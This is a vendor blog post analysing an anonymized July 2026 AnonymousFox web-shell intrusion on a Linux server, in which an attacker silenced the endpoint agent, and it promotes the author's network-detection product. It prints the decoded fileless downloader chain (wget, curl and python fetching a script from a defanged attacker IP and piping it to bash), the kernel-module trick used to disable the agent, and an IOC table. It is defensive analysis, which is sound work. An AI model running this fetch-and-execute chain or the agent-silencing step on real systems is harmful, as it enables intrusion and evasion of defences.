Detected but Not Blocked: What a Web Shell Attack Reveals About the Gap Between EDR and NDR

Stefan Röthlisberger
Founder & CEO, IRONATE
On a Sunday afternoon in July 2026, an attack started on a Linux web server that pulled a payload from the internet and piped it straight into the shell. The endpoint protection detected it immediately: correctly classified, high confidence, cleanly mapped to MITRE ATT&CK. Then it went quiet. It never went beyond this one single alert, because the attacker's next move was to switch off the agent itself. The two subsequent attack waves in the nights that followed no longer appeared in the endpoint telemetry. They remained visible only where the attacker had no access: on the network. Using an anonymized real incident, this article shows why a protection layer that runs on the attacked system itself remains structurally vulnerable, and what that means for defense architecture.
The Incident in Fast Forward
The entry point was a compromised PHP application in a shared hosting environment. The pattern matches the AnonymousFox family, a web shell and mass dropper ecosystem that has been active for years and specifically targets WordPress, Joomla and generic PHP installations on shared servers. From the context of an unprivileged hosting account, a php-cgi process invoked a shell that pulled an external payload.
The endpoint protection reacted immediately. The resulting bash process was detected as LNX-DET-SUSPICIOUS-INTERACTIVE-SHELL with priority High and confidence High, mapped to TA0001 Initial Access and T1190 Exploit Public-Facing Application. A case was opened automatically. The detection logic worked precisely and fast. It did exactly what it is expected to do.
What did not follow was a response. No process termination, no isolation, no blocking of the connection. And because the attacker could continue working undisturbed, he used the time window for the move that shaped the rest of the incident: he loaded code into the kernel via the kernel module interface and silenced the endpoint agent. From that moment on, the server looked like an unremarkable system from the perspective of the endpoint console.
That one alert from Sunday afternoon was all there ever was. The second wave in the night to Monday and the third the following night, both with further payload stages from changing domains, produced not a single endpoint detection anymore. We know they took place from two sources: from the network data, which is generated outside the host, and from the forensic examination after the server had been taken off the network. That is also where the trace of the kernel access was found, a modprobe call with the argument net-pf-38.
Two things coincide in this sequence. First, it took place entirely outside business hours. An attack that starts on Sunday afternoon and continues into the night to Monday meets nobody who could acknowledge an alert. Anything that does not happen automatically in this window does not happen at all. Second, even an immediate handling of the one alert would have delivered no picture afterwards, because the source of that picture had been switched off. Anyone watching only the endpoint has exactly one snapshot of this incident, followed by two nights of darkness.
The Payload, Decoded
The actual command was wrapped in base64, a simple but effective trick against naive string searches in logs and command lines. A command line of this form was recorded:
sh -c echo KHdnZXQgLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAtVCA2MDAgLXQgMiAtcU8t… | base64 -d | bash 2>&1
Decoding the block statically, without executing it, reveals a remarkably robustly built downloader chain:
(wget --no-check-certificate -T 600 -t 2 -qO- hxxp://212.83.185[.]19/bottom-zs.png
|| curl -m 600 -fsSL -k hxxp://212.83.185[.]19/bottom-zs.png
|| python3 -c "import urllib.request as u;print(u.urlopen('hxxp://212.83.185[.]19/bottom-zs.png').read().decode())"
|| python -c "import urllib2 as u;print(u.urlopen('hxxp://212.83.185[.]19/bottom-zs.png').read())"
) | bash
Four details deserve attention here, because they explain why this chain is so hard to stop at the endpoint:
- looks_oneFour fallback methods.
wget,curl, Python 3 and Python 2 are tried one after another. It is enough for one of them to exist on the target system, and on a web server at least one is practically always present. Removing individual tools as a hardening measure therefore leads nowhere. - looks_twoNo write to disk.
-qO-and-fsSLwrite to stdout, and the output is piped directly intobash. The first-stage payload exists only in memory. A file-based on-access scan simply has nothing to inspect, even if it is enabled. - looks_3Certificate verification disabled.
--no-check-certificateand-kaccept any certificate. The attacker plans for the case that something along the way intercepts or redirects, and does not want to fail on TLS errors. - looks_4Disguised file extension. The URL ends in
.png, the content is a shell script. This discrepancy between expected and actual content type is irrelevant at the endpoint, because no file is ever created there. On the wire, it is a direct hit.
Another camouflage detail appeared in the later retrievals: the requests carried a spoofed iPhone user agent and the referer https://google.com/. This is meant to look like normal visitor traffic in web server logs. From a network perspective, it is the opposite of inconspicuous: a server process posing as a mobile Safari browser while claiming to come from a search engine is a profile that simply does not occur in normal operations.
Reaching Into the Kernel: How the Agent Was Silenced
The turning point of the incident is the moment the attacker stops hiding and instead attacks the observer. The forensic finding is a modprobe call with the argument net-pf-38. Behind it lies a well-known mechanism: when a process opens a socket for an unusual protocol family, the kernel automatically loads the matching module. This is the door opener for bringing your own code into the kernel without having to load it explicitly yourself. MITRE lists this as T1547.006 (Kernel Modules and Extensions), the effect as T1562.001 (Impair Defenses: Disable or Modify Tools).
On Windows this approach is known as BYOVD, Bring Your Own Vulnerable Driver: the attacker brings along a legitimately signed but vulnerable driver and uses its kernel privileges to terminate the security agent or unhook it. Linux has no driver signatures in the Windows sense, but the goal is the same and the path leads through kernel modules. Whoever is in the kernel stands above every process in user space, and an endpoint agent is a process in user space whose visibility depends on kernel interfaces provided by that same kernel.
This is exactly where the structural weakness lies, and it is not product-specific. An agent protects the system it runs on. It shares the machine, the kernel and, from a certain privilege level, the trust domain with the attacker. Once the attacker reaches this level, the agent is no longer an opponent but a target: terminable, blindable, manipulable. This applies to every agent-based product, regardless of vendor, and it is the reason why EDR killers have become a tool category of their own.
For the defense, an uncomfortable consequence follows from this: The absence of alerts is not information. An endpoint that stops delivering detections after a certain point in time can be clean or conquered. From the console, both states look identical. After the one alert from Sunday, the only thing you could have concluded from the lack of further messages was that the problem had resolved itself. The opposite was the case.
The Two Waves Nobody Saw at the Endpoint
After the kernel access, the attacker returned twice and pulled a payload from a different address each time: once from a domain variant of the original name, once from the original domain itself, both with hidden paths starting with a dot (/.p7/ and /.llm/). This is a common redundancy strategy: if one name is blocked, the next one takes over. For the defense, this means that blocking at the level of individual domains always lags behind, while blocking at the level of the communication relationship takes effect immediately.
Both waves left no trace in the telemetry at the endpoint. On the wire they left a complete one: connection setup, destination, path, headers, volume and timestamp. The attacker had switched off the one observation layer and not even noticed the other, because it was not on his server.
Why the Endpoint Protection Did Not Block
The most important finding first, because it runs counter to expectation: It was not a detection failure. The solution in use, in this case Sophos XDR with the Server Protection Agent for Linux, detected the attack immediately, named it correctly and mapped it cleanly to ATT&CK. That is a good performance. What matters is what did not happen in the minute afterwards, because it was this time window that gave the attacker access to the kernel and thus to the agent itself. The block failed to happen for four reasons, none of which relate to detection quality.
On top of this comes the factor that reinforces all four: the time window. Sunday afternoon to Monday night. Without 24/7 coverage or automated response, an alert in this window is exactly that, an alert. Anyone running only a detection layer without enforcement implicitly relies on attackers working during business hours. They demonstrably do not.
And then comes the fifth point, which settles the other four: After the kernel access, the question of configuration was moot. You can harden a policy, remove exclusions, re-enable deep learning and CryptoGuard and switch on blocking modes. None of it helps if the attacker silences the agent that is supposed to run all these functions. A protection layer that runs on the target system is always only as strong as that system's weakest privilege problem. That is why the answer to this incident is not a better endpoint configuration but a second observation layer beyond the attacker's reach.
What the NDR Saw and Did
At the network level, the same process looked completely different, and across the entire incident, not just in the first minute. This is not because the NDR detects "better" but because of two properties: it asks a different question, and it stands in a different place. The endpoint asks: is this process malicious? The network asks: Is this communication relationship normal? And it does so from a sensor that hangs off a mirror port or TAP, not on the compromised server. The attacker would have needed root access on a completely different machine to influence this view. In the initial download, the communication relationship was not normal in several respects.
| Observation on the wire | Why it stands out |
|---|---|
| HTTP on port 80 to a raw IP address | No prior DNS resolution, no TLS. Production systems fetch software via package sources and HTTPS, not via hardcoded IP addresses in plaintext. |
| Script content behind an image extension | The URL ends in .png, but a shell script is transferred. The discrepancy between extension, content type and actual content is a classic camouflage pattern. |
| Mobile user agent from a server process | A spoofed iPhone Safari header including a search engine referer, sent from a web server. A profile that never occurs in the legitimate operation of this host. |
| First contact with a new destination | First-seen detection: this host had never spoken with this destination and this network range before, neither in the baseline nor in the history. |
| Hit in the threat intelligence feeds | The target address and the domains used later were known as payload and C2 infrastructure. The alert was automatically enriched with this reputation. |
| Outbound traffic from a DMZ role | A web server is a sink for incoming requests. Self-initiated egress to arbitrary destinations contradicts its function and is a strong behavioral signal. |
From these signals an alert emerged with a critical threat score and an automatic MITRE ATT&CK mapping. Because the score exceeded the configured threshold, the auto-response kicked in: IRONATE NDR set a blocking rule via the REST API of the perimeter firewall, in both directions, meaning both for the affected host as the source and for the external destination. Seconds passed between detection and an effective rule. In parallel, an incident was opened in case management and forwarded via syslog to the SIEM, with a full audit trail.
The effect showed in the follow-up stages: the later payload attempts ran into the void. The attacker still had his web shell and still had his kernel access, but no transport path for new tools anymore. This is exactly the difference between an incident you clean up on Monday and an incident that escalates overnight.
The actual point, however, lies not in the blocking but in the continuity. Even after the agent was silenced, the recording continued. Both follow-up waves are fully documented: with timestamp, destination, path and headers, even though the server itself reported nothing at that time. This recording was later the basis for determining the scope of the incident. Without it, after the one alert from Sunday you would have faced a system that had been silent for two days, with no way to distinguish between "cleaned up" and "fully taken over".
NDR and EDR Compared: Why They Are Not Alternatives
It would be the wrong lesson from this incident to declare endpoint protection superfluous. Without it we would not know which process ran which command line under which account, and the forensic reconstruction would have been considerably more tedious. The two layers deliver different truths about the same event. Anyone who has only one of them sees half the story.
| Question | Endpoint (EDR/XDR) | Network (NDR) |
|---|---|---|
| Which process, which account? | complete | not visible |
| Where does the traffic go, with what content? | platform-dependent, not at all on Linux here | complete |
| Does it need an agent on the system? | yes, including support for OS and kernel | no, passive via mirror port or TAP |
| Does a path exclusion take effect? | yes, it creates a blind spot | no, the transport stays visible |
| Can the attacker switch off the observation? | yes, happened in this incident | no, the sensor is on a different machine |
| Can the attacker delete the traces? | yes, local logs and agent can be attacked | no, the telemetry is outside the host |
| Does the recording continue after the kill? | no, two nights without telemetry | yes, without gaps across the entire incident |
| Automatic blocking in this case? | no, runtime detection purely detective | yes, blocking rule via firewall API |
| Does it cover systems without an agent? | no, e.g. appliances, OT, guest devices | yes, anything that sends packets |
The decisive row is the fourth from the bottom. All other differences are trade-offs where, depending on the environment, you may reach different conclusions. This one is categorical: an observation layer that the attacker can switch off is, in an emergency, unavailable at exactly the moment you need it most. This is not about product quality but about topology. An agent sits inside the attack target, a network sensor beside it.
This argument is not new, it is just rarely so fully substantiated. Attackers have long known that the endpoint is the best-monitored layer, and they align their tools accordingly. We described this in detail in the article on EDR killers. This incident provides the practical proof, and in the most uncomfortable order: first the agent showed that it can detect, then it was switched off before anyone could react to its finding.
What This Means in Practice
noexec mount for temporary directories.kernel.modules_disabled after boot, Module Signature Enforcement, kernel lockdown) and block unneeded protocol families via a module blacklist. This removes the very foundation of the step used to silence the agent in this incident.Indicators of Compromise (IOCs)
All details refer exclusively to external attacker infrastructure and generic attack patterns. Addresses are shown defanged.
| Type | Indicator | Note |
|---|---|---|
| IP | 212.83.185[.]19 | Payload host, HTTP/80 |
| URL | hxxp://212.83.185[.]19/bottom-zs.png | Stage 1, shell script with image extension |
| Domain | i30[.]bz | C2 and payload hosting |
| Domain | i30bz[.]com | fallback variant |
| Domain | pis[.]is | observed in the campaign's vicinity |
| Domain | team-gov[.]com | observed in the campaign's vicinity |
| URL path | /.p7/19-SIPMLB | payload stage, hidden path |
| URL path | /.llm/3-CZHEJW | payload stage, hidden path |
| URL path | /.O/m.txt, /.O/x.txt, /.O/o.txt, /.O/f35.txt | payload paths of the web shell family |
| File drop | /tmp/<11 random characters>.txt | observed: UyJbvLw74pT.txt, BRLdX8qx2fr.txt |
| Process pattern | sh -c echo <base64> | base64 -d | bash | fileless loader |
| Process pattern | modprobe net-pf-38 | kernel module autoload to silence the agent, T1547.006 / T1562.001 |
| Behavioral indicator | telemetry loss with reachable host | silent agent after a preceding high alert |
| HTTP header | iPhone/Safari UA + Referer https://google.com/ | camouflage of server-side retrievals |
| Code pattern | eval(str_rot13(str_rot13(gzuncompress(base64_decode( | loader chain of the web shell family |
| File signature | FoxCyberSecurity, <xleet>, <mailer> | family and reporting markers |
| Configuration artifact | disable_functions = NONE, Allow From All, index.php.bak | dropped php.ini and .htaccess |
| Shell file names | anonymousfox.php, f35.php, she11.php, wso.php, c99.php | typical drop names (selection) |
base64_decode, then gzuncompress), never execute them via eval. Then cluster the timestamps of all findings to narrow down the initial access, and in shared hosting environments search all vhosts of the same server for the same patterns.Frequently Asked Questions
Why does an EDR or XDR not automatically block a detected attack?
Detection and response are separate capabilities. Runtime detection on Linux servers operates purely detectively in many configurations: it alerts with high confidence but does not terminate processes and does not isolate hosts. On top of this come platform limits. IPS, URL reputation and download protection are available in many endpoint suites only for Windows and macOS, not at all for Linux. An outbound download then cannot be technically prevented at the endpoint.
Does NDR replace endpoint protection?
No. The endpoint provides process lineage, user context and command lines, the network provides transport, destination and volume. In the case described, the endpoint protection delivered the correct classification, the network the leverage point for interruption and the continuous recording. NDR additionally takes effect where no agent is installed, where it cannot block, or where it was switched off.
How can an attacker disable an EDR?
By gaining kernel-level privileges. On Windows, the best-known variant is BYOVD (Bring Your Own Vulnerable Driver): a legitimately signed but vulnerable driver is brought along and its kernel privileges are used to terminate the security agent or unhook it. On Linux, the same path leads through kernel modules, in this incident through the automatic loading of a module for an unusual protocol family. Because an agent is a process on the attacked system, code in the kernel always stands above it. MITRE lists this as T1562.001.
Why does an NDR keep seeing the attack when the EDR is disabled?
Because the sensor does not run on the attacked system. It hangs passively off a mirror port or network TAP and analyzes the traffic on a different machine. To manipulate this view, the attacker would need access to the network infrastructure or to the sensor itself, not just to the compromised server. That is why the two attack waves after the agent was disabled remained fully documented, even though the server itself reported nothing anymore.
How does an NDR detect a fileless download that never touches the disk?
Precisely because it still has to be transmitted. The retrieval ran unencrypted over port 80 directly to an IP address, without prior DNS resolution. The content was a shell script even though the URL ended in .png. The user agent claimed a mobile device even though the request came from a server process. Each of these characteristics is visible on the wire, regardless of whether a file is ever created on the endpoint.
What is an AnonymousFox web shell?
A family of PHP web shells and mass droppers that has been active for years and hits shared hosting environments running WordPress, Joomla and generic PHP. The loader unpacks itself in multiple stages via base64, gzip and rot13, drops further shells and uploaders, re-enables dangerous PHP functions via its own php.ini, reads credentials from configuration files and disables common security plugins.
What is an auto-response firewall rule and how fast does it take effect?
On critical alerts, IRONATE NDR automatically sets a blocking rule via the REST API of the perimeter firewall, in both directions. Supported platforms include FortiGate, Palo Alto, Cisco and VMware NSX-T as well as a generic REST adapter. Seconds pass between detection and an effective rule, regardless of the day of the week and time of day, with a full audit trail.
summarize Summary / Key Takeaways
- check_circleThe endpoint protection detected the attack immediately and correctly and mapped it cleanly to MITRE ATT&CK. The problem was not detection but the lack of a response capability on this platform.
- check_circleThe incident produced exactly one alert. The attacker used the unused time window to silence the agent via the kernel module interface (T1562.001, the Linux equivalent of BYOVD).
- check_circleThe two subsequent attack waves produced no endpoint telemetry anymore. From the console, the conquered server looked like a clean one: missing alerts are not information.
- check_circleThe payload was fileless, with four downloader fallbacks, disabled TLS verification and script content behind a
.pngextension. File-based controls are structurally too late here. - check_circleIRONATE NDR detected the retrieval through six independent network signals, set a firewall blocking rule via auto-response and kept recording without gaps even after the EDR kill. The payload attempts ran into the void.
- check_circleThe core point is topology, not product quality: an agent sits inside the attack target and can be switched off, a network sensor sits beside it and cannot. That is why EDR and NDR are complementary, not interchangeable.
Sources & References
- • Internal IRONATE incident analysis and threat hunting playbook on the AnonymousFox web shell (July 2026), reproduced anonymized
- • MITRE ATT&CK: T1190 Exploit Public-Facing Application, attack.mitre.org
- • MITRE ATT&CK: T1505.003 Server Software Component, Web Shell, attack.mitre.org
- • MITRE ATT&CK: T1105 Ingress Tool Transfer, attack.mitre.org
- • MITRE ATT&CK: T1547.006 Kernel Modules and Extensions, attack.mitre.org
- • MITRE ATT&CK: T1562.001 Impair Defenses, Disable or Modify Tools, attack.mitre.org
- • MITRE ATT&CK: T1027 Obfuscated Files or Information, attack.mitre.org
- • Sophos Central product documentation on Server Protection for Linux and Linux Runtime Detections (platform availability of the protection functions), docs.sophos.com
- • Swiss Federal Office for Cybersecurity (BACS), reporting obligation and recommendations for operators of critical infrastructure, ncsc.admin.ch
Sophos is named purely factually to contextualize a real incident. The points described concern platform availability and policy configuration, not the detection quality of the product, which was good in this case.
What Happens When Your Agent Goes Silent?
IRONATE NDR detects, agentless, what really leaves your servers, automatically blocks critical connections via the firewall API and keeps recording even when the endpoint has long since gone silent. Operational in 72 hours, on-premises in your infrastructure, compliant with the Swiss Data Protection Act (FADP). We are happy to show you what this looks like in your environment.
Request a no-obligation consultation arrow_forward